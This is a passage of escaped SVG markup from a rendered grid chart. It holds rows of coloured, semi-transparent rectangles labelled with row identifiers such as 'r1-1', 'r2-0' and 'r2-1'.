style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"51.3875\"></rect><rect height=\"11.393750000000004\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"51.3875\"></rect><g transform=\"translate(127.0,69.978125)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r1-1</text></g><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"64.28125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"64.28125\"></rect><g transform=\"translate(127.0,82.871875)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r2-0</text></g><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"77.17500000000001\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"77.17500000000001\"></rect><g transform=\"translate(127.0,95.765625)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r2-1</text></g><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" 